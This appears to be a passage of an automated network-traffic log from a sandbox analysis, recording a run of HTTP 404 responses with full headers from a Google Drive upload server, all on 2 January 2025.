Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7_ayye21hQahZtitfxw0vW09Ce1WdiDEFynUj-ZcY8mhVVeAVDi157XXab8wR7Y1bPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-xtgkxBeqJ-WZ6HzpIHiwFg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4YJ9CfZWRQuZ29Au65Dpnx6-UQyBXAxPa7YdvSn8PSXUFoaajBQGop5LlJf9lP_b_WM5PD0tEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:22 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-dJ_EhxXTWrUihOxytjy1lQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7eXaeAf6TuHAFkP4dbqH7ic46_xIgO4bOXguGpH8-2YJfuTPb0yv9N6AF9yfnzpI4bContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:24 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce--_DK3vQlu0_wP6I05K4AhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7X-Xx3Yr_oxjtdcK8MW37TxXBjEaTJipkl2vmLqPOVXRZfVpd_I60nphext8h8GHpSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:24 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_psHVI8RWIGcrs3w9-_A5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7MTXaQf5wRU6dxK7DcO3i-miU95hKZ6G4VU5YzjTTfgEnPve89lutRcAQPRchAyaDxContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Mw7v97D_qculA91zV2CBuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6P-K2btf4iO1FKofOjS1QrivWtoUNwbRdJbXWqOmcCqZ1-lXDqqS2c0eGh6Ddrl8uR9MkgUpUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:25 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-fjRBx3CZ2QU6OC8wER_H_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4Zs_cE1F4CE70Hh18WWr3h866gbf9TAzrxT_PKuD7D_Wd9qr4VpEwVIYCzlBrOkc4KContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:26 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-RBIkrmxqH2-yp515excEeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4VqOY5ouu0RxPKitnKWihPDCKYHjnZ-4fQ9YO78U06oxsO0Ug7N7i4Qi3ZALZYJSEcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:28 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-scwGKGpOo5GCpmyvsylnMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4MhqteuoLmy-0N-BtSKhqO--eAUX6PdXcsufOWxIy-diV2C8wF26mQK1I-rPntvgholAFAJPAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:29 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dBdlwZUL_QVhezY180oFmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5X1yxQcEYaeJv7O-DwGe20GjePkCnbs53cxygsjkvzu0VWP3u8rfyERRp8KSFmyNSCF5lugLoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:29 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-iv5Tt5cAI0nIVGhUJ7iINA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4sWMj_Qi33GabfNNiKlHUE4csotosMknJ2XMyC6VrUh5PZhl2JbHuNus7E1rjYJFyjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-7xFTDMGvKKzJHXsepjGYwg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59zcUFDPenVKdy_Z5UdpDAvr9eBnUZIWs3xgRP70q5LNgqP4TK6gCdfN-x14UtZjTfVo4idpkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:30 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-FvRiySrgYhZjBOJ21BsdKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4fhM-Srr-9FVzrm6VAT4XQyKK86kSavpWLw3Q3IebpgK3whGw2ScctPk_YAfhZSAGt3rWG3PgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:32 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-661eyzBlia9NOhbvAlpvbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4IQ3VKNzBfm3nB8x5ST5y4pm1siG5i-EFR_H5axMYxn4LU4ah725lkQwGQuZLEVPXwQMWsxCoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OPYT4jipsAseEX-SeOUdyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5udRUvNYnPHZjVvVvSSWhuVqvhqlKBsow8INAxKk8_n2KQaOwCFfrIZ_xZHE6ZhXmjContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:33 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-xlqsohxs2upy8oNHNbvFoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6DTaMcpt7TCp6H8MMjVFzvggvq9kMluUQx6rwK2b9ntboyq6ACervnUyTCWLXBHQQ-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:34 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-HOpYULjHfQ3WlhEsTs1KOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7sby2PWqSNAoXWG2CAkaxjqbrWSBwA7ytAcyeWm_ri-_YghMyFzYnK2QNQF5zRbMKQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:34 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-D4VwvoGSV_iFasWxK6KccQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5kC9NtguZwt3Y6fCIkFVimUDreUg5odSIRx3MB6-ScXvTXv8aAMltgAXIzai55fyT9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:37 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-X90ySNIzi51vqLifYCcL8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5_7aj0mKdqOHYKEcn2Sl7UYDq0zMDjIWBl3Q5sSooBA473cILc8ukFhd0EEenG2XABlywg0jEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:37 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-iVk1KEUfsulp47rNEYvgzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6u0SrqI_E9__MmFys1BmNwzPBOvJMm0atLGw_rJ70KaQ811DhZQqekXwf_1ZZopoUXContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:38 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Ft9E0cd899FqK3lE9n5iVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
